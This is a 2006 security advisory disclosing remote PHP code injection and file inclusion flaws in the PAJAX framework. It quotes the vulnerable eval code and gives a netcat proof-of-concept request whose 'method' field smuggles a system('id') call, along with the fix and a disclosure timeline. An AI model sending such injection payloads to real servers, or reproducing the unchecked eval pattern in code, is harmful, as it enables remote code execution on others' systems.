Advisory: PAJAX Remote Code Injection and File Inclusion Vulnerability

RedTeam has identified two security flaws in PAJAX.
It is possible to execute arbitrary PHP code from unchecked user
input. Additionally, it is possible to include arbitrary files on the
server ending in ".class.php".


Details
=======

Product: PAJAX
Affected Versions: All versions up to pajax-0.5.1
Fixed Versions: pajax-0.5.2
Vulnerability Type: Remote code injection, arbitrary file inclusion
Security-Risk: high
Vendor-URL: http://www.auberger.com/pajax/3/
Vendor-Status: informed, fixed
Advisory-URL: http://www.redteam-pentesting.de/advisories/rt-sa-2006-001.txt
Advisory-Status: public
CVE: CVE-2006-1551
CVE-URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1551


Introduction
============

PAJAX is an AJAX framework which allows simple PHP objects to be made
remotely callable from within JavaScript, using XMLHttpRequest. PAJAX
utilizes an ORB (Object Request Broker) pattern allowing JavaScript
objects to call methods of remote PHP objects via some remote interface.
PAJAX is developed by Georges Auberger.


More Details
============

By using PAJAX it is possible to write web applications that utilize PHP
classes running on a remote server to perform operations. PAJAX is able
to create a remote JavaScript interface object and a stub on the server
for some PHP class. The JavaScript interface communicates with the stub
on the server, which invokes the called methods on the remote object. To
invoke methods on an object PHP's eval function is used.

/pajax/pajax_call_dispatcher.php contains the following code:

 // Invoking the method with args
 eval("\$ret = \$obj->$method(".$args.");"); 

The $method and $args parameters consist of unchecked POST variables,
which may contain harmful PHP code.

Additionally a file is included for each specified classname.  The
included file consists of predefined paths and the user supplied
variable $className:

  function loadClass($className) {
     $paths = split(CLASS_PATH_DELIMITER, $this->classPath);
     foreach ($paths as $path) {
        $classPath = $path . "/" . $className . ".class.php";
  [...]

This variable is not validated and thus allows directory traversal
attacks.


Proof of Concept
================

   [s@host ~]$ nc www.example.com 80
   POST /pajax/pajax/pajax_call_dispatcher.php HTTP/1.1
   Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
   Content-Type: text/json
   Content-length: 137
   Host: www.example.com

   {"id": "bb2238f1186dad8d6370d2bab5f290f71", "className": "Calculator", 
"method": "add(1,1);system("id");$obj->add", "params": ["1", "5"]}
   HTTP/1.1 200 OK
   Date: Thu, 30 Mar 2006 14:21:08 GMT
   Server: Apache
   X-Powered-By: PHP/4.4.2
   Cache-Control: no-store, no-cache, must-revalidate, post-check=0, 
pre-check=0
   Pragma: no-cache
   Transfer-Encoding: chunked
   Content-Type: text/html

   27
   uid=80(www) gid=80(www) groups=80(www)
   [...]


Workaround
==========

No workaround is known at this time.

Fix
===

Users of PAJAX should upgrade to the latest version pajax-0.5.2 [1].


Security Risk
=============

RedTeam considers the security risk high, because arbitrary code can
be executed on the webserver.


History
=======

2006-30-03 Discovery of the problem
2006-30-03 Notification of the author
2006-30-03 Initial response from the author
2006-12-04 A fixed version of PAJAX is available
2006-13-04 Public release


References
==========

[1] http://www.auberger.com/pajax/3/


RedTeam
=======

RedTeam offers interested business parties penetration tests to validate
their security. Doing security research RedTeam likes to enhance the
common knowledgebase in security related areas. More information about
RedTeam can be found at http://www.redteam-pentesting.de.

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